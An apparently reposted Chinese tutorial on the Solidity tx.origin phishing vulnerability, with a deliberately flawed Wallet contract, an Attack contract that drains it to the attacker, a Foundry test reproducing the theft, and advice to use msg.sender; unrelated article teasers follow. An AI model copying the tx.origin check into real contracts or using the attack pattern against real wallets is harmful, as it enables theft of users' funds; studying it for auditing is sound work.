SolidityFoundry 安全审计测试 tx.origin 漏洞

名称:tx.origin 漏洞

solidityproject/vulnerable-defi at master · XuHugo/solidityproject · GitHub

说明:

        tx.origin是Solidity中的一个全局变量;智能合约中使用该变量进行身份验证,会使合约容易受到网络钓鱼攻击。

msg.sender: 指直接调用智能合约功能的帐户或智能合约的地址

tx.origin: 指调用智能合约功能的账户地址,只有账户地址可以是tx.origin

EOA -> Contract A -> Contract B -> Contract C

tx.origin始终保持是EOAmsg.sender是其直接调用者的地址。

场景:

钱包是一个简单的合约,只有所有者才能将以太币转移到另一个地址。以太币到另一个地址。Wallet.transfer()使用 tx.origin 来检查调用者是否为所有者。调用者是所有者。让我们看看如何破解这个合约

攻击过程

爱丽丝被骗调用了 Attack.attack()。在 Attack.attack() 中,它要求将 Alice 钱包中的所有资金转移到 Eve 的地址。由于 Wallet.transfer() 中的 tx.origin 等于 Alice 的地址、就授权了转账。钱包将所有以太币转给了 Eve。

预防措施

由于tx.origin可能存在安全隐患,因此建议始终使用msg.sender进行授权或检查调用智能合约的地址。

钱包代码:

contract Wallet {address public owner;constructor() payable {owner = msg.sender;}function transfer(address payable _to, uint _amount) public {// check with msg.sender instead of tx.originrequire(tx.origin == owner, "Not owner");(bool sent, ) = _to.call{value: _amount}("");require(sent, "Failed to send Ether");}
}

攻击代码

contract Attack {address payable public owner;Wallet wallet;constructor(Wallet _wallet) {wallet = Wallet(_wallet);owner = payable(msg.sender);}function attack() public {wallet.transfer(owner, address(wallet).balance);}
}

foundry测试代码:

contract ContractTest is Test {Wallet WalletContract;Attack AttackerContract;function testtxorigin() public {address alice = vm.addr(1);address eve = vm.addr(2);vm.deal(address(alice), 10 ether);vm.deal(address(eve), 1 ether);vm.prank(alice);WalletContract = new Wallet{value: 10 ether}(); //Alice deploys Wallet with 10 Etherconsole.log("Owner of wallet contract", WalletContract.owner());vm.prank(eve);AttackerContract = new Attack(WalletContract); //Eve deploys Attack with the address of Alice's Wallet contract.console.log("Owner of attack contract", AttackerContract.owner());console.log("Eve of balance", address(eve).balance);vm.prank(alice, alice);AttackerContract.attack(); // Eve tricks Alice to call AttackerContract.attack()console.log("tx origin address", tx.origin);console.log("msg.sender address", msg.sender);console.log("Eve of balance", address(eve).balance);}receive() external payable {}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/18233.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++牛客周赛43题目分享(3)小红平分糖果,小红的完全平方数,小苯的字符串变化,小红的子数组排列判断

目录 ​编辑 1.前言 2.四道题目 2.1小红平分糖果 2.1.1题目描述 2.1.2输入描述 2.1.3输出描述 2.1.4示例 2.1.5代码 2.2小红的完全平方数 2.1.1题目描述 2.1.2输入描述 2.1.3输出描述 2.1.4示例 2.1.5代码 2.3小苯的字符串变化 2.1.1题目描述 2.1.2输入描述 …

Java 原子变量 一次通关

前言 Java中的原子变量是用于实现无锁的线程安全编程的一种机制。它们是java.util.concurrent.atomic包中的一部分,这个包提供了一系列原子类,用于执行原子操作。 主要类型 Java的原子包提供了多种原子类,包括: 基本类型&…

想自学编程,看编程书有些看不懂,下一步应该怎么办?

不管你从事什么工作,编程都有助于你的职业发展。学习编程将给你自己赋能。我喜欢尝试新想法,时刻都有希望启动的新项目。学会编程后,我就可以坐下来自己实现,而不需要依赖他人。 编程也会提升你在其他方面的技能。因为你熟练掌握…

对SpringBoot配置文件配置项加密原理

参考认识BeanFactoryPostProcessor和BeanDefinitionRegistryPostProcessor - 知乎 SpringBoot 之 Jasypt 实现yml配置文件加密_-djasypt.encryptor.password-CSDN博客 【springboot】jasypt加密_jasypt.encryptor.password-CSDN博客 实现: 导包: 使…

Gitlab不允许使用ssh拉取代码的解决方案

一、起因 之前一直是用ssh进行代码拉取,后来公司搞网安行动,不允许ssh进行连接拉取代码了 因为我是用shell写了个小型的CI/CD,部署前端项目用于后端联调的,因此在自动部署时,不方便人机交互,所以需要自动填充账密。 …

ZLMediaKit cmake 编译 要点

# 加载自定义模块 list(APPEND CMAKE_MODULE_PATH "${CMAKE_CURRENT_SOURCE_DIR}/cmake") project(ZLMediaKit LANGUAGES C CXX) # 使能 C11 set(CMAKE_CXX_STANDARD 11) ############################### SET(CMAKE_SYSTEM_NAME Linux) SET(CMAKE_SYSTEM_PROCESS…

护网2024-攻防对抗解决方案思路

一、护网行动简介 近年来,网络安全已被国家上升为国家安全的战略层面,网络安全同样也被视为维护企业业务持续性的关键。国家在网络安全治理方面不断出台法规与制度,并实施了一些大型项目和计划,如网络安全法、等级保护、网络安全…

【UE C++】 虚幻引擎C++开发需要掌握的C++和U++的基础知识有哪些?

目录 0 引言1 关键的 C 知识2 Unreal Engine 相关知识3 学习建议 🙋‍♂️ 作者:海码007📜 专栏:UE虚幻引擎专栏💥 标题:【UE C】 虚幻引擎C开发需要掌握的C和U的基础知识有哪些?❣️ 寄语&…

【MySQL精通之路】安全(1)-安全指南

任何在连接到Internet的计算机上使用MySQL的人都应该阅读本节,以避免最常见的安全错误。 在讨论安全性时,有必要考虑充分保护整个服务器主机(而不仅仅是MySQL服务器)免受所有类型的适用攻击:窃听、更改、播放和拒绝服…

kafkastream

kafkastream的介绍: Kafka Streams是一个开源的流处理库,用于构建实时数据流应用程序和微服务。它是Apache Kafka项目的一部分,是一种基于事件驱动的流处理解决方案。 Kafka Streams提供了高级别的API,使开发人员能够以简单和声…

什么情况下JVM内存中的一个对象会被垃圾回收?

什么情况下JVM内存中的一个对象会被垃圾回收? 1、什么时候会触发垃圾回收?2、被哪些变量引用的对象是不能回收的?3、Java中对象不同的引用类型4、finalize()方法的作用1、什么时候会触发垃圾回收? 平时我们系统运行创建的对象都是优先分配在新生代里的,如图: 然后如果…

【Oracle】PL SQL 怎么重新编译无效的对象

1.打开PL SQL ,点击图中有红色的 2.点击齿轮按钮即可 from:【Oracle】PL SQL 怎么重新编译无效的对象_plsql编译无效对象的按钮在哪里-CSDN博客

redis查看一个key占用了多少内存

Redis 本身并没有直接提供一个命令来查看一个特定的 key 占用了多少内存。但是,你可以通过一些间接的方法来估算这个值。 以下是一些建议的方法: 使用 DEBUG OBJECT 命令: 虽然这不是一个官方推荐或稳定的命令,但在某些 Redis …

最新php项目加密源码

压缩包里有多少个php就会被加密多少个PHP、php无需安装任何插件。源码全开源 如果上传的压缩包里有子文件夹(子文件夹里的php文件也会被加密),加密后的压缩包需要先修复一下,步骤:打开压缩包 》 工具 》 修复压缩文件…

AIGC 010-CLIP第一个文本和图像对齐的大模型!

AIGC 010-CLIP第一个文本和图像对齐的大模型! 文章目录 0 论文工作1 论文方法2 效果 0 论文工作 不客气的说CLIP和扩散模型的成功让计算式视觉领域几乎所有工作都重新做了一遍。 CLIP(对比语言-图像预训练)论文提出了一种新的对比学习方法&a…

28-ESP32-S3 lwIP 轻量级 TCP/IP 协议栈

ESP32-S3 lwIP 介绍 ESP32-S3 是一款集成了Wi-Fi 和蓝牙功能的微控制器。它的设计初衷是为了方便嵌入式系统的开发。不过你可能会好奇,ESP32-S3 怎么实现与外部网络的通信呢?这里就要提到一个开源的 TCP/IP 协议栈,它叫做lwIP(轻…

博客系统多模块开发

创建工程 创建父工程 删除src目录&#xff0c;在pom.xml添加依赖&#xff1a; <!--统一版本 字符编码--><properties><maven.compiler.source>8</maven.compiler.source><maven.compiler.target>8</maven.compiler.target><project.b…

使用 Flask 和 Vue.js 构建 Web 应用

文章目录 入门1. 设置 Flask 后端2. 设置 Vue.js 前端 将 Flask 与 Vue.js 集成1. 配置 Flask 来提供 Vue.js 文件2. 构建 Vue.js 组件3. 运行应用程序 结论 在现代 Web 开发中&#xff0c;创建动态和响应式的应用通常涉及将后端框架如 Flask 与前端库如 Vue.js 结合起来。这种…

职责链设计模式

职责链设计模式&#xff08;Chain of Responsibility Design Pattern&#xff09;是一种行为设计模式&#xff0c;使多个对象都有机会处理请求&#xff0c;从而避免请求的发送者和接收者之间的耦合。这些对象被链接成一条链&#xff0c;沿着这条链传递请求&#xff0c;直到有一…

2024年5月20日 (周一) 叶子游戏新闻

报告老板&#xff0c;现在就加班&#xff01;《职场浮生记》抢先体验版现已上线今天由LeiYun Games开发&#xff0c;2P Games发行的《职场浮生记》正式在Steam平台推出抢先体验版。玩家将跟随主角的步伐踏入一个最为真实的职场环境之中&#xff0c;在生活与工作之间找寻平衡&am…